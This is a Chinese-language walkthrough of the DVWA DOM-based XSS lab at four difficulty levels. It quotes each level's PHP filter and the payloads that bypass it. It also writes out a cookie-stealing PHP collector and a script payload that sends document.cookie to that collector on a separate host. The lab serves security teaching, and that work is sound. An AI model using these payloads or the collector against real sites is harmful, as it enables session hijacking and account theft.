DVWA-XSS (DOM) DOM型跨站脚本攻击
XSS(Cross Site Scripting),跨站脚本攻击,能使攻击者在页面嵌入一些脚本代码,用户再访问,被诱导点击时,执行恶意脚本,常见为javascript
,也有Flash、VBscript,常见于盗取cookie
。
DOM型XSS,是利用DOM
树,DOM树就是HTML之间的标签,将标签闭合,注入<script></script>
标签进行脚本的执行
LOW
审计源码
没有任何过滤
点击提交后可以看到default
传参的内容为English
将English
改为<script>alert(document.cookie)</script>
成功弹出cookie
,利用成功
反弹cookie
真正的窃取cookie
不止这么简单,我们这里在Web
服务器中写一个接收cookie
并保存的文件
getcookie.php
<?php
$cookie = $_GET['cookie'];
fwrite(fopen('cookie.txt','a'),'Cookie : '.$cookie."\n");
?>
然后使用javascript
获取cookie
值,并访问getcookie.php
,getcookie.php
会将cookie值保存到cookie.txt
中
首先测试访问getcookie.php
是否正常
http://192.168.1.131/getcookie.php?cookie=nihao
查看是否生成cookie.txt
正常执行
在default
传入
default=<script>document.location='http://192.168.1.131/getcookie.php?cookie='+document.cookie</script>
执行后查看cookie.txt
是否反弹成功
成功反弹
Meidum
审计源码
<?php
// 检查是否有 default 的键名 ,判断 default 传参是否为空
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
// 获取 default 传参的值
$default = $_GET['default'];
// stripos 查找字符串首次出现的位置(不区分大小写)
// 查找到返回 true ,查找不到返回 false
// 判断不能查找到 <script ,并且不区分大小写
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}
?>
传参中不能含有<script
,不过可以使用<img />
标签,带上属性onerror='alert(document.cookie)'
测试default=<img src=1 onerror=alert(document.cookie)>
并没有弹窗,使用检查查看default
的值传到了哪里
通过观察,传入的值在<option></option>
标签中,尝试将传入</option>
将标签闭合
default=</option><img src=1 onerror=alert(document.cookie)>
闭合后依然没有弹窗,再次检查查看default
值传入了哪里
还是没有闭合,值依然在value
中,尝试传入</select>
闭合更外一层的<select>
标签
default=</select><img src=1 onerror=alert(document.cookie)>
可以看到成功弹窗,检查查看是如何闭合的
Hihg
审计源码
<?php
// 判断是否传入数据
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# 判断获取的 default 传入的值,只能是一下四种
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
// 默认选择 English
default:
header ("location: ?default=English");
exit;
}
}
?>
这里进行了一个白名单,只能是French、English、German、Spanish
,否则无法执行
这里只是后端进行数据处理,将 default 的值传入页面使用的前段的javascript
,前面的等级也是
从这里可以看出,将lang
的值写入到页面中
使用`#`,就可以绕过后端的检测,GET并不会获取到`#`号后面的内容,PHP认为`#`号后面注释的内容
测试`default=English #<script>alert(/xss/)</script>`
注意`English`后面时候空格的,如果不输入空格,会被当做default的值传入后端
当然&
号也是可以的,&
会被后端认为是另一个传参,也不会接收
default=English&<script>alert(document.cookie)</script>
&号前面是没有空格的,传参是紧密相连的
Impossible
审计源码
这里写到不做任何处理,在前段处理
查看前段代码
这里多了一个括号,这个括号就能阻止XSS
了吗,我不相信
传入default=<script>alert(/xss/)</script>
测试
可以看到这里没有对传入的特殊字符进行url解码
,这样就过滤了<、/、#、&
等特殊字符